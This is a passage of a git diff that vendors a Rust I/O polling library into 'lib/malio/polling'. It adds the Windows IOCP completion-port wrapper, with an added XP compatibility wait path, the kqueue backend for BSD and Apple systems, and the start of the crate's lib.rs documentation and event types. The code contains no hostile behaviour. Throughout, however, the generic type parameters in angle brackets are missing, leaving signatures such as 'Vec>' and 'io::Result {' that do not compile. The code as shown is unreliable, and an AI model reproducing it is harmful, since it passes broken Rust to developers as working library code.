drop(&mut self) { + (self.0)(); + } +} diff --git a/lib/malio/polling/src/iocp/port.rs b/lib/malio/polling/src/iocp/port.rs new file mode 100644 index 0000000..1ab015b --- /dev/null +++ b/lib/malio/polling/src/iocp/port.rs @@ -0,0 +1,396 @@ +//! A safe wrapper around the Windows I/O API. + +use super::dur2timeout; + +use std::fmt; +use std::io; +use std::marker::PhantomData; +use std::mem::MaybeUninit; +use std::ops::Deref; +use std::os::windows::io::{AsRawHandle, RawHandle}; +use std::pin::Pin; +use std::ptr; +use std::sync::Arc; +use std::time::Duration; + +use windows_sys::Win32::Foundation::{CloseHandle, HANDLE, INVALID_HANDLE_VALUE}; +use windows_sys::Win32::Storage::FileSystem::SetFileCompletionNotificationModes; +use windows_sys::Win32::System::Threading::INFINITE; +use windows_sys::Win32::System::WindowsProgramming::FILE_SKIP_SET_EVENT_ON_HANDLE; +use windows_sys::Win32::System::IO::{ + CreateIoCompletionPort, GetQueuedCompletionStatus, GetQueuedCompletionStatusEx, + PostQueuedCompletionStatus, OVERLAPPED, OVERLAPPED_ENTRY, +}; + +/// A completion block which can be used with I/O completion ports. +/// +/// # Safety +/// +/// This must be a valid completion block. +pub(super) unsafe trait Completion { + /// Signal to the completion block that we are about to start an operation. + fn try_lock(self: Pin<&Self>) -> bool; + + /// Unlock the completion block. + unsafe fn unlock(self: Pin<&Self>); +} + +/// The pointer to a completion block. +/// +/// # Safety +/// +/// This must be a valid completion block. +pub(super) unsafe trait CompletionHandle: Deref + Sized { + /// Type of the completion block. + type Completion: Completion; + + /// Get a pointer to the completion block. + /// + /// The pointer is pinned since the underlying object should not be moved + /// after creation. This prevents it from being invalidated while it's + /// used in an overlapped operation. + fn get(&self) -> Pin<&Self::Completion>; + + /// Convert this block into a pointer that can be passed as `*mut OVERLAPPED`. + fn into_ptr(this: Self) -> *mut OVERLAPPED; + + /// Convert a pointer that was passed as `*mut OVERLAPPED` into a pointer to this block. + /// + /// # Safety + /// + /// This must be a valid pointer to a completion block. + unsafe fn from_ptr(ptr: *mut OVERLAPPED) -> Self; + + /// Convert to a pointer without losing ownership. + fn as_ptr(&self) -> *mut OVERLAPPED; +} + +unsafe impl CompletionHandle for Pin<&T> { + type Completion = T; + + fn get(&self) -> Pin<&Self::Completion> { + *self + } + + fn into_ptr(this: Self) -> *mut OVERLAPPED { + unsafe { Pin::into_inner_unchecked(this) as *const T as *mut OVERLAPPED } + } + + unsafe fn from_ptr(ptr: *mut OVERLAPPED) -> Self { + Pin::new_unchecked(&*(ptr as *const T)) + } + + fn as_ptr(&self) -> *mut OVERLAPPED { + self.get_ref() as *const T as *mut OVERLAPPED + } +} + +unsafe impl CompletionHandle for Pin> { + type Completion = T; + + fn get(&self) -> Pin<&Self::Completion> { + self.as_ref() + } + + fn into_ptr(this: Self) -> *mut OVERLAPPED { + unsafe { Arc::into_raw(Pin::into_inner_unchecked(this)) as *const T as *mut OVERLAPPED } + } + + unsafe fn from_ptr(ptr: *mut OVERLAPPED) -> Self { + Pin::new_unchecked(Arc::from_raw(ptr as *const T)) + } + + fn as_ptr(&self) -> *mut OVERLAPPED { + self.as_ref().get_ref() as *const T as *mut OVERLAPPED + } +} + +/// A handle to the I/O completion port. +pub(super) struct IoCompletionPort { + /// The underlying handle. + handle: HANDLE, + + /// We own the status block. + _marker: PhantomData, +} + +impl Drop for IoCompletionPort { + fn drop(&mut self) { + unsafe { + CloseHandle(self.handle); + } + } +} + +impl AsRawHandle for IoCompletionPort { + fn as_raw_handle(&self) -> RawHandle { + self.handle as _ + } +} + +impl fmt::Debug for IoCompletionPort { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + struct WriteAsHex(HANDLE); + + impl fmt::Debug for WriteAsHex { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "{:010x}", self.0 as usize) + } + } + + f.debug_struct("IoCompletionPort") + .field("handle", &WriteAsHex(self.handle)) + .finish() + } +} + +impl IoCompletionPort { + /// Create a new I/O completion port. + pub(super) fn new(threads: usize) -> io::Result { + let handle = unsafe { + CreateIoCompletionPort( + INVALID_HANDLE_VALUE, + ptr::null_mut(), + 0, + threads.try_into().expect("too many threads"), + ) + }; + + if handle.is_null() { + Err(io::Error::last_os_error()) + } else { + Ok(Self { + handle, + _marker: PhantomData, + }) + } + } + + /// Register a handle with this I/O completion port. + pub(super) fn register( + &self, + handle: &impl AsRawHandle, // TODO change to AsHandle + skip_set_event_on_handle: bool, + ) -> io::Result<()> { + let handle = handle.as_raw_handle(); + + let result = + unsafe { CreateIoCompletionPort(handle as _, self.handle, handle as usize, 0) }; + + if result.is_null() { + return Err(io::Error::last_os_error()); + } + + if skip_set_event_on_handle { + // Set the skip event on handle. + let result = unsafe { + SetFileCompletionNotificationModes(handle as _, FILE_SKIP_SET_EVENT_ON_HANDLE as _) + }; + + if result == 0 { + return Err(io::Error::last_os_error()); + } + } + + Ok(()) + } + + /// Post a completion packet to this port. + pub(super) fn post(&self, bytes_transferred: usize, id: usize, packet: T) -> io::Result<()> { + let result = unsafe { + PostQueuedCompletionStatus( + self.handle, + bytes_transferred + .try_into() + .expect("too many bytes transferred"), + id, + T::into_ptr(packet), + ) + }; + + if result == 0 { + Err(io::Error::last_os_error()) + } else { + Ok(()) + } + } + + /// Wait for completion packets to arrive. + pub(super) fn wait( + &self, + packets: &mut Vec>, + timeout: Option, + ) -> io::Result { + // Drop the current packets. + packets.clear(); + + #[cfg(target_arch = "x86")] + { + self.wait_xp_compat(packets, timeout) + } + + #[cfg(target_arch = "x86_64")] + { + self.wait_vista_plus(packets, timeout) + } + } + + /// Windows Vista+ implementation using GetQueuedCompletionStatusEx + #[cfg(target_arch = "x86_64")] + fn wait_vista_plus( + &self, + packets: &mut Vec>, + timeout: Option, + ) -> io::Result { + let mut count = MaybeUninit::::uninit(); + let timeout = timeout.map_or(INFINITE, dur2timeout); + + let result = unsafe { + GetQueuedCompletionStatusEx( + self.handle, + packets.as_mut_ptr() as _, + packets.capacity().try_into().expect("too many packets"), + count.as_mut_ptr(), + timeout, + 0, + ) + }; + + if result == 0 { + let io_error = io::Error::last_os_error(); + if io_error.kind() == io::ErrorKind::TimedOut { + Ok(0) + } else { + Err(io_error) + } + } else { + let count = unsafe { count.assume_init() }; + unsafe { + packets.set_len(count as _); + } + Ok(count as _) + } + } + + /// Windows XP compatible implementation using GetQueuedCompletionStatus + #[cfg(target_arch = "x86")] + fn wait_xp_compat( + &self, + packets: &mut Vec>, + timeout: Option, + ) -> io::Result { + // XP compat: replace infinite timeout with short polling to avoid AFD driver bug causing permanent hang + let timeout_ms = match timeout { + None => 100, // infinite timeout -> 100ms polling + Some(d) => { + let ms = dur2timeout(d); + if ms == INFINITE { + 100 // INFINITE -> 100ms + } else { + ms.min(100) // cap at 100ms + } + } + }; + + let mut bytes_transferred = 0u32; + let mut completion_key = 0usize; + let mut overlapped_ptr: *mut OVERLAPPED = ptr::null_mut(); + + let result = unsafe { + GetQueuedCompletionStatus( + self.handle, + &mut bytes_transferred, + &mut completion_key, + &mut overlapped_ptr, + timeout_ms, + ) + }; + + if result == 0 { + let io_error = io::Error::last_os_error(); + let err_code = io_error.raw_os_error().unwrap_or(0); + + // Check if we got a completion packet despite the error + if !overlapped_ptr.is_null() { + // We have a packet, add it + let entry = OVERLAPPED_ENTRY { + lpCompletionKey: completion_key, + lpOverlapped: overlapped_ptr, + Internal: 0, + dwNumberOfBytesTransferred: bytes_transferred, + }; + packets.push(OverlappedEntry { + entry, + _marker: PhantomData, + }); + return Ok(1); + } + + // XP compat: treat error code 0 or WAIT_TIMEOUT (258) as timeout + if io_error.kind() == io::ErrorKind::TimedOut || err_code == 0 || err_code == 258 { + return Ok(0); + } + return Err(io_error); + } + + // Success - we got a completion packet + if !overlapped_ptr.is_null() { + let entry = OVERLAPPED_ENTRY { + lpCompletionKey: completion_key, + lpOverlapped: overlapped_ptr, + Internal: 0, + dwNumberOfBytesTransferred: bytes_transferred, + }; + packets.push(OverlappedEntry { + entry, + _marker: PhantomData, + }); + Ok(1) + } else { + Ok(0) + } + } +} + +/// An `OVERLAPPED_ENTRY` resulting from an I/O completion port. +#[repr(transparent)] +pub(super) struct OverlappedEntry { + /// The underlying entry. + entry: OVERLAPPED_ENTRY, + + /// We own the status block. + _marker: PhantomData, +} + +impl fmt::Debug for OverlappedEntry { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.write_str("OverlappedEntry { .. }") + } +} + +impl OverlappedEntry { + /// Convert into the completion packet. + pub(super) fn into_packet(self) -> T { + let packet = unsafe { self.packet() }; + std::mem::forget(self); + packet + } + + /// Get the packet reference that this entry refers to. + /// + /// # Safety + /// + /// This function should only be called once, since it moves + /// out the `T` from the `OVERLAPPED_ENTRY`. + unsafe fn packet(&self) -> T { + let packet = T::from_ptr(self.entry.lpOverlapped); + packet.get().unlock(); + packet + } +} + +impl Drop for OverlappedEntry { + fn drop(&mut self) { + drop(unsafe { self.packet() }); + } +} diff --git a/lib/malio/polling/src/kqueue.rs b/lib/malio/polling/src/kqueue.rs new file mode 100644 index 0000000..8af4f4b --- /dev/null +++ b/lib/malio/polling/src/kqueue.rs @@ -0,0 +1,596 @@ +//! Bindings to kqueue (macOS, iOS, tvOS, watchOS, visionOS, FreeBSD, NetBSD, OpenBSD, DragonFly BSD). + +use std::collections::HashSet; +use std::io; +use std::os::unix::io::{AsFd, AsRawFd, BorrowedFd, OwnedFd, RawFd}; +use std::sync::RwLock; +use std::time::Instant; + +use rustix::buffer::spare_capacity; +use rustix::event::{kqueue, Timespec}; +use rustix::io::{fcntl_setfd, Errno, FdFlags}; + +use crate::{Event, PollMode}; + +/// Interface to kqueue. +#[derive(Debug)] +pub struct Poller { + /// File descriptor for the kqueue instance. + kqueue_fd: OwnedFd, + + /// List of sources currently registered in this poller. + /// + /// This is used to make sure the same source is not registered twice. + sources: RwLock>, + + /// Notification pipe for waking up the poller. + /// + /// On platforms that support `EVFILT_USER`, this uses that to wake up the poller. Otherwise, it + /// uses a pipe. + notify: notify::Notify, +} + +/// Identifier for a source. +#[doc(hidden)] +#[derive(Debug, Copy, Clone, PartialEq, Eq, Hash)] +pub enum SourceId { + /// Registered file descriptor. + Fd(RawFd), + + /// Signal. + Signal(std::os::raw::c_int), + + /// Process ID. + Pid(rustix::process::Pid), + + /// Timer ID. + Timer(usize), +} + +impl Poller { + /// Creates a new poller. + pub fn new() -> io::Result { + // Create a kqueue instance. + let kqueue_fd = kqueue::kqueue()?; + fcntl_setfd(&kqueue_fd, FdFlags::CLOEXEC)?; + + let poller = Poller { + kqueue_fd, + sources: RwLock::new(HashSet::new()), + notify: notify::Notify::new()?, + }; + + // Register the notification pipe. + poller.notify.register(&poller)?; + + #[cfg(feature = "tracing")] + tracing::trace!( + kqueue_fd = ?poller.kqueue_fd.as_raw_fd(), + "new" + ); + Ok(poller) + } + + /// Whether this poller supports level-triggered events. + pub fn supports_level(&self) -> bool { + true + } + + /// Whether this poller supports edge-triggered events. + pub fn supports_edge(&self) -> bool { + true + } + + /// Adds a new file descriptor. + /// + /// # Safety + /// + /// The file descriptor must be valid and it must last until it is deleted. + pub unsafe fn add(&self, fd: RawFd, ev: Event, mode: PollMode) -> io::Result<()> { + self.add_source(SourceId::Fd(fd))?; + + // File descriptors don't need to be added explicitly, so just modify the interest. + self.modify(BorrowedFd::borrow_raw(fd), ev, mode) + } + + /// Modifies an existing file descriptor. + pub fn modify(&self, fd: BorrowedFd<'_>, ev: Event, mode: PollMode) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = if !self.notify.has_fd(fd) { + let span = tracing::trace_span!( + "add", + kqueue_fd = ?self.kqueue_fd.as_raw_fd(), + ?fd, + ?ev, + ); + Some(span) + } else { + None + }; + #[cfg(feature = "tracing")] + let _enter = span.as_ref().map(|s| s.enter()); + + self.has_source(SourceId::Fd(fd.as_raw_fd()))?; + + let mode_flags = mode_to_flags(mode); + + let read_flags = if ev.readable { + kqueue::EventFlags::ADD | mode_flags + } else { + kqueue::EventFlags::DELETE + }; + let write_flags = if ev.writable { + kqueue::EventFlags::ADD | mode_flags + } else { + kqueue::EventFlags::DELETE + }; + + // A list of changes for kqueue. + let changelist = [ + kqueue::Event::new( + kqueue::EventFilter::Read(fd.as_raw_fd()), + read_flags | kqueue::EventFlags::RECEIPT, + ev.key as _, + ), + kqueue::Event::new( + kqueue::EventFilter::Write(fd.as_raw_fd()), + write_flags | kqueue::EventFlags::RECEIPT, + ev.key as _, + ), + ]; + + // Apply changes. + self.submit_changes(changelist) + } + + /// Submit one or more changes to the kernel queue and check to see if they succeeded. + pub(crate) fn submit_changes(&self, changelist: A) -> io::Result<()> + where + A: Copy + AsRef<[kqueue::Event]> + AsMut<[kqueue::Event]>, + { + let mut eventlist = Vec::with_capacity(changelist.as_ref().len()); + + // Apply changes. + { + let changelist = changelist.as_ref(); + + unsafe { + kqueue::kevent_timespec( + &self.kqueue_fd, + changelist, + spare_capacity(&mut eventlist), + None, + )?; + } + } + + // Check for errors. + for &ev in &eventlist { + let data = ev.data(); + + // Explanation for ignoring EPIPE: https://github.com/tokio-rs/mio/issues/582 + if (ev.flags().contains(kqueue::EventFlags::ERROR)) + && data != 0 + && data != Errno::NOENT.raw_os_error() as _ + && data != Errno::PIPE.raw_os_error() as _ + { + return Err(io::Error::from_raw_os_error(data as _)); + } + } + + Ok(()) + } + + /// Add a source to the sources set. + #[inline] + pub(crate) fn add_source(&self, source: SourceId) -> io::Result<()> { + if self + .sources + .write() + .unwrap_or_else(|e| e.into_inner()) + .insert(source) + { + Ok(()) + } else { + Err(io::Error::from(io::ErrorKind::AlreadyExists)) + } + } + + /// Tell if a source is currently inside the set. + #[inline] + pub(crate) fn has_source(&self, source: SourceId) -> io::Result<()> { + if self + .sources + .read() + .unwrap_or_else(|e| e.into_inner()) + .contains(&source) + { + Ok(()) + } else { + Err(io::Error::from(io::ErrorKind::NotFound)) + } + } + + /// Remove a source from the sources set. + #[inline] + pub(crate) fn remove_source(&self, source: SourceId) -> io::Result<()> { + if self + .sources + .write() + .unwrap_or_else(|e| e.into_inner()) + .remove(&source) + { + Ok(()) + } else { + Err(io::Error::from(io::ErrorKind::NotFound)) + } + } + + /// Deletes a file descriptor. + pub fn delete(&self, fd: BorrowedFd<'_>) -> io::Result<()> { + // Simply delete interest in the file descriptor. + self.modify(fd, Event::none(0), PollMode::Oneshot)?; + + self.remove_source(SourceId::Fd(fd.as_raw_fd())) + } + + /// Waits for I/O events with an optional deadline. + pub fn wait_deadline(&self, events: &mut Events, deadline: Option) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "wait", + kqueue_fd = ?self.kqueue_fd.as_raw_fd(), + ?deadline, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + let timeout = deadline.map(|deadline| deadline.saturating_duration_since(Instant::now())); + + // Timeout for kevent. In case of overflow, use no timeout. + let timeout = match timeout { + Some(t) => Timespec::try_from(t).ok(), + None => None, + }; + + // Wait for I/O events. + let changelist = []; + let _res = unsafe { + kqueue::kevent_timespec( + &self.kqueue_fd, + &changelist, + spare_capacity(&mut events.list), + timeout.as_ref(), + )? + }; + + #[cfg(feature = "tracing")] + tracing::trace!( + kqueue_fd = ?self.kqueue_fd.as_raw_fd(), + res = ?_res, + "new events", + ); + + // Clear the notification (if received) and re-register interest in it. + self.notify.reregister(self)?; + + Ok(()) + } + + /// Sends a notification to wake up the current or next `wait()` call. + pub fn notify(&self) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "notify", + kqueue_fd = ?self.kqueue_fd.as_raw_fd(), + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + self.notify.notify(self).ok(); + Ok(()) + } +} + +impl AsRawFd for Poller { + fn as_raw_fd(&self) -> RawFd { + self.kqueue_fd.as_raw_fd() + } +} + +impl AsFd for Poller { + fn as_fd(&self) -> BorrowedFd<'_> { + self.kqueue_fd.as_fd() + } +} + +impl Drop for Poller { + fn drop(&mut self) { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "drop", + kqueue_fd = ?self.kqueue_fd.as_raw_fd(), + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + let _ = self.notify.deregister(self); + } +} + +/// A list of reported I/O events. +pub struct Events { + list: Vec, +} + +unsafe impl Send for Events {} + +impl Events { + /// Creates an empty list. + pub fn with_capacity(cap: usize) -> Events { + Events { + list: Vec::with_capacity(cap), + } + } + + /// Iterates over I/O events. + pub fn iter(&self) -> impl Iterator + '_ { + // On some platforms, closing the read end of a pipe wakes up writers, but the + // event is reported as EVFILT_READ with the EV_EOF flag. + // + // https://github.com/golang/go/commit/23aad448b1e3f7c3b4ba2af90120bde91ac865b4 + self.list.iter().map(|ev| Event { + key: ev.udata() as usize, + readable: matches!( + ev.filter(), + kqueue::EventFilter::Read(..) + | kqueue::EventFilter::Vnode { .. } + | kqueue::EventFilter::Proc { .. } + | kqueue::EventFilter::Signal { .. } + | kqueue::EventFilter::Timer { .. } + ), + writable: matches!(ev.filter(), kqueue::EventFilter::Write(..)) + || (matches!(ev.filter(), kqueue::EventFilter::Read(..)) + && (ev.flags().intersects(kqueue::EventFlags::EOF))), + extra: EventExtra, + }) + } + + /// Clears the list. + pub fn clear(&mut self) { + self.list.clear(); + } + + /// Get the capacity of the list. + pub fn capacity(&self) -> usize { + self.list.capacity() + } +} + +/// Extra information associated with an event. +#[derive(Debug, Copy, Clone, PartialEq, Eq)] +pub struct EventExtra; + +impl EventExtra { + /// Create a new, empty version of this struct. + #[inline] + pub const fn empty() -> EventExtra { + EventExtra + } + + /// Set the interrupt flag. + #[inline] + pub fn set_hup(&mut self, _value: bool) { + // No-op. + } + + /// Set the priority flag. + #[inline] + pub fn set_pri(&mut self, _value: bool) { + // No-op. + } + + /// Is the interrupt flag set? + #[inline] + pub fn is_hup(&self) -> bool { + false + } + + /// Is the priority flag set? + #[inline] + pub fn is_pri(&self) -> bool { + false + } + + #[inline] + pub fn is_connect_failed(&self) -> Option { + None + } + + #[inline] + pub fn is_err(&self) -> Option { + None + } +} + +pub(crate) fn mode_to_flags(mode: PollMode) -> kqueue::EventFlags { + use kqueue::EventFlags as EV; + + match mode { + PollMode::Oneshot => EV::ONESHOT, + PollMode::Level => EV::empty(), + PollMode::Edge => EV::CLEAR, + PollMode::EdgeOneshot => EV::ONESHOT | EV::CLEAR, + } +} + +#[cfg(any( + target_os = "freebsd", + target_os = "dragonfly", + target_vendor = "apple", +))] +mod notify { + use super::Poller; + use rustix::event::kqueue; + use std::io; + #[cfg(feature = "tracing")] + use std::os::unix::io::BorrowedFd; + + /// A notification pipe. + /// + /// This implementation uses `EVFILT_USER` to avoid allocating a pipe. + #[derive(Debug)] + pub(super) struct Notify; + + impl Notify { + /// Creates a new notification pipe. + pub(super) fn new() -> io::Result { + Ok(Self) + } + + /// Registers this notification pipe in the `Poller`. + pub(super) fn register(&self, poller: &Poller) -> io::Result<()> { + // Register an EVFILT_USER event. + poller.submit_changes([kqueue::Event::new( + kqueue::EventFilter::User { + ident: 0, + flags: kqueue::UserFlags::empty(), + user_flags: kqueue::UserDefinedFlags::new(0), + }, + kqueue::EventFlags::ADD | kqueue::EventFlags::RECEIPT | kqueue::EventFlags::CLEAR, + crate::NOTIFY_KEY as _, + )]) + } + + /// Reregister this notification pipe in the `Poller`. + pub(super) fn reregister(&self, _poller: &Poller) -> io::Result<()> { + // We don't need to do anything, it's already registered as EV_CLEAR. + Ok(()) + } + + /// Notifies the `Poller`. + pub(super) fn notify(&self, poller: &Poller) -> io::Result<()> { + // Trigger the EVFILT_USER event. + poller.submit_changes([kqueue::Event::new( + kqueue::EventFilter::User { + ident: 0, + flags: kqueue::UserFlags::TRIGGER, + user_flags: kqueue::UserDefinedFlags::new(0), + }, + kqueue::EventFlags::ADD | kqueue::EventFlags::RECEIPT, + crate::NOTIFY_KEY as _, + )])?; + + Ok(()) + } + + /// Deregisters this notification pipe from the `Poller`. + pub(super) fn deregister(&self, poller: &Poller) -> io::Result<()> { + // Deregister the EVFILT_USER event. + poller.submit_changes([kqueue::Event::new( + kqueue::EventFilter::User { + ident: 0, + flags: kqueue::UserFlags::empty(), + user_flags: kqueue::UserDefinedFlags::new(0), + }, + kqueue::EventFlags::DELETE | kqueue::EventFlags::RECEIPT, + crate::NOTIFY_KEY as _, + )]) + } + + /// Whether this raw file descriptor is associated with this pipe. + #[cfg(feature = "tracing")] + pub(super) fn has_fd(&self, _fd: BorrowedFd<'_>) -> bool { + false + } + } +} + +#[cfg(not(any( + target_os = "freebsd", + target_os = "dragonfly", + target_vendor = "apple", +)))] +mod notify { + use super::Poller; + use crate::{Event, PollMode, NOTIFY_KEY}; + use std::io::{self, prelude::*}; + #[cfg(feature = "tracing")] + use std::os::unix::io::BorrowedFd; + use std::os::unix::{ + io::{AsFd, AsRawFd}, + net::UnixStream, + }; + + /// A notification pipe. + /// + /// This implementation uses a pipe to send notifications. + #[derive(Debug)] + pub(super) struct Notify { + /// The read end of the pipe. + read_stream: UnixStream, + + /// The write end of the pipe. + write_stream: UnixStream, + } + + impl Notify { + /// Creates a new notification pipe. + pub(super) fn new() -> io::Result { + let (read_stream, write_stream) = UnixStream::pair()?; + read_stream.set_nonblocking(true)?; + write_stream.set_nonblocking(true)?; + + Ok(Self { + read_stream, + write_stream, + }) + } + + /// Registers this notification pipe in the `Poller`. + pub(super) fn register(&self, poller: &Poller) -> io::Result<()> { + // Register the read end of this pipe. + unsafe { + poller.add( + self.read_stream.as_raw_fd(), + Event::readable(NOTIFY_KEY), + PollMode::Oneshot, + ) + } + } + + /// Reregister this notification pipe in the `Poller`. + pub(super) fn reregister(&self, poller: &Poller) -> io::Result<()> { + // Clear out the notification. + while (&self.read_stream).read(&mut [0; 64]).is_ok() {} + + // Reregister the read end of this pipe. + poller.modify( + self.read_stream.as_fd(), + Event::readable(NOTIFY_KEY), + PollMode::Oneshot, + ) + } + + /// Notifies the `Poller`. + #[allow(clippy::unused_io_amount)] + pub(super) fn notify(&self, _poller: &Poller) -> io::Result<()> { + // Write to the write end of the pipe + (&self.write_stream).write(&[1])?; + + Ok(()) + } + + /// Deregisters this notification pipe from the `Poller`. + pub(super) fn deregister(&self, poller: &Poller) -> io::Result<()> { + // Deregister the read end of the pipe. + poller.delete(self.read_stream.as_fd()) + } + + /// Whether this raw file descriptor is associated with this pipe. + #[cfg(feature = "tracing")] + pub(super) fn has_fd(&self, fd: BorrowedFd<'_>) -> bool { + self.read_stream.as_raw_fd() == fd.as_raw_fd() + } + } +} diff --git a/lib/malio/polling/src/lib.rs b/lib/malio/polling/src/lib.rs new file mode 100644 index 0000000..f4e8c69 --- /dev/null +++ b/lib/malio/polling/src/lib.rs @@ -0,0 +1,1131 @@ +//! Portable interface to epoll, kqueue, event ports, and IOCP. +//! +//! Supported platforms: +//! - [epoll](https://en.wikipedia.org/wiki/Epoll): Linux, Android, RedoxOS +//! - [kqueue](https://en.wikipedia.org/wiki/Kqueue): macOS, iOS, tvOS, watchOS, visionOS, FreeBSD, NetBSD, OpenBSD, +//! DragonFly BSD +//! - [event ports](https://illumos.org/man/port_create): illumos, Solaris +//! - [poll](https://en.wikipedia.org/wiki/Poll_(Unix)): VxWorks, Fuchsia, HermitOS, other Unix systems +//! - [IOCP](https://learn.microsoft.com/en-us/windows/win32/fileio/i-o-completion-ports): Windows, Wine (version 7.13+) +//! +//! By default, polling is done in oneshot mode, which means interest in I/O events needs to +//! be re-enabled after an event is delivered if we're interested in the next event of the same +//! kind. However, level and edge triggered modes are also available for certain operating +//! systems. See the documentation of the [`PollMode`] type for more information. +//! +//! Only one thread can be waiting for I/O events at a time. +//! +//! # Examples +//! +//! ```no_run +//! use polling::{Event, Events, Poller}; +//! use std::net::TcpListener; +//! +//! // Create a TCP listener. +//! let socket = TcpListener::bind("127.0.0.1:8000")?; +//! socket.set_nonblocking(true)?; +//! let key = 7; // Arbitrary key identifying the socket. +//! +//! // Create a poller and register interest in readability on the socket. +//! let poller = Poller::new()?; +//! unsafe { +//! poller.add(&socket, Event::readable(key))?; +//! } +//! +//! // The event loop. +//! let mut events = Events::new(); +//! loop { +//! // Wait for at least one I/O event. +//! events.clear(); +//! poller.wait(&mut events, None)?; +//! +//! for ev in events.iter() { +//! if ev.key == key { +//! // Perform a non-blocking accept operation. +//! socket.accept()?; +//! // Set interest in the next readability event. +//! poller.modify(&socket, Event::readable(key))?; +//! } +//! } +//! } +//! +//! poller.delete(&socket)?; +//! # std::io::Result::Ok(()) +//! ``` + +#![warn(missing_docs, missing_debug_implementations, rust_2018_idioms)] +#![allow(clippy::useless_conversion, clippy::unnecessary_cast, unused_unsafe)] +#![cfg_attr(docsrs, feature(doc_cfg))] +#![doc( + html_favicon_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] +#![doc( + html_logo_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] + +use std::cell::Cell; +use std::fmt; +use std::io; +use std::marker::PhantomData; +use std::num::NonZeroUsize; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::Mutex; +use std::time::{Duration, Instant}; + +use cfg_if::cfg_if; + +cfg_if! { + // Note: This cfg is intended to make it easy for polling developers to test + // the backend that uses poll, and is not a public API. + if #[cfg(polling_test_poll_backend)] { + mod poll; + use poll as sys; + } else if #[cfg(any( + target_os = "linux", + target_os = "android", + target_os = "redox" + ))] { + mod epoll; + use epoll as sys; + } else if #[cfg(any( + target_os = "illumos", + target_os = "solaris", + ))] { + mod port; + use port as sys; + } else if #[cfg(any( + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly", + ))] { + mod kqueue; + use kqueue as sys; + } else if #[cfg(any( + target_os = "vxworks", + target_os = "hermit", + target_os = "fuchsia", + target_os = "horizon", + unix, + ))] { + mod poll; + use poll as sys; + } else if #[cfg(target_os = "windows")] { + mod iocp; + use iocp as sys; + } else { + compile_error!("polling does not support this target OS"); + } +} + +pub mod os; + +/// Key associated with notifications. +const NOTIFY_KEY: usize = usize::MAX; + +/// Indicates that a file descriptor or socket can read or write without blocking. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct Event { + /// Key identifying the file descriptor or socket. + pub key: usize, + /// Can it do a read operation without blocking? + pub readable: bool, + /// Can it do a write operation without blocking? + pub writable: bool, + /// System-specific event data. + extra: sys::EventExtra, +} + +/// The mode in which the poller waits for I/O events. +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash)] +#[non_exhaustive] +pub enum PollMode { + /// Poll in oneshot mode. + /// + /// In this mode, the poller will only deliver one event per file descriptor or socket. + /// Once an event has been delivered, interest in the event needs to be re-enabled + /// by calling `Poller::modify` or `Poller::add`. + /// + /// This is the default mode. + Oneshot, + + /// Poll in level-triggered mode. + /// + /// Once an event has been delivered, polling will continue to deliver that event + /// until interest in the event is disabled by calling `Poller::modify` or `Poller::delete`. + /// + /// Not all operating system support this mode. Trying to register a file descriptor with + /// this mode in an unsupported operating system will raise an error. You can check if + /// the operating system supports this mode by calling `Poller::supports_level`. + Level, + + /// Poll in edge-triggered mode. + /// + /// Once an event has been delivered, polling will not deliver that event again unless + /// a new event occurs. + /// + /// Not all operating system support this mode. Trying to register a file descriptor with + /// this mode in an unsupported operating system will raise an error. You can check if + /// the operating system supports this mode by calling `Poller::supports_edge`. + Edge, + + /// Poll in both edge-triggered and oneshot mode. + /// + /// This mode is similar to the `Oneshot` mode, but it will only deliver one event per new + /// event. + /// + /// Not all operating system support this mode. Trying to register a file descriptor with + /// this mode in an unsupported operating system will raise an error. You can check if + /// the operating system supports this mode by calling `Poller::supports_edge`. + EdgeOneshot, +} + +impl Event { + /// Create a new event. + pub const fn new(key: usize, readable: bool, writable: bool) -> Event { + Event { + key, + readable, + writable, + extra: sys::EventExtra::empty(), + } + } + + /// All kinds of events (readable and writable). + /// + /// Equivalent to: `Event::new(key, true, true)` + #[inline] + pub const fn all(key: usize) -> Event { + Event::new(key, true, true) + } + + /// Only the readable event. + /// + /// Equivalent to: `Event::new(key, true, false)` + #[inline] + pub const fn readable(key: usize) -> Event { + Event::new(key, true, false) + } + + /// Only the writable event. + /// + /// Equivalent to: `Event::new(key, false, true)` + #[inline] + pub const fn writable(key: usize) -> Event { + Event::new(key, false, true) + } + + /// No events. + /// + /// Equivalent to: `Event::new(key, false, false)` + #[inline] + pub const fn none(key: usize) -> Event { + Event::new(key, false, false) + } + + /// Add interruption events to this interest. + /// + /// This usually indicates that the file descriptor or socket has been closed. It corresponds + /// to the `EPOLLHUP` and `POLLHUP` events. + /// + /// Interruption events are only supported on the following platforms: + /// + /// - `epoll` + /// - `poll` + /// - IOCP + /// - Event Ports + /// + /// On other platforms, this function is a no-op. + #[inline] + pub fn set_interrupt(&mut self, active: bool) { + self.extra.set_hup(active); + } + + /// Add interruption events to this interest. + /// + /// This usually indicates that the file descriptor or socket has been closed. It corresponds + /// to the `EPOLLHUP` and `POLLHUP` events. + /// + /// Interruption events are only supported on the following platforms: + /// + /// - `epoll` + /// - `poll` + /// - IOCP + /// - Event Ports + /// + /// On other platforms, this function is a no-op. + #[inline] + pub fn with_interrupt(mut self) -> Self { + self.set_interrupt(true); + self + } + + /// Add priority events to this interest. + /// + /// This indicates that there is urgent data to read. It corresponds to the `EPOLLPRI` and + /// `POLLPRI` events. + /// + /// Priority events are only supported on the following platforms: + /// + /// - `epoll` + /// - `poll` + /// - IOCP + /// - Event Ports + /// + /// On other platforms, this function is a no-op. + #[inline] + pub fn 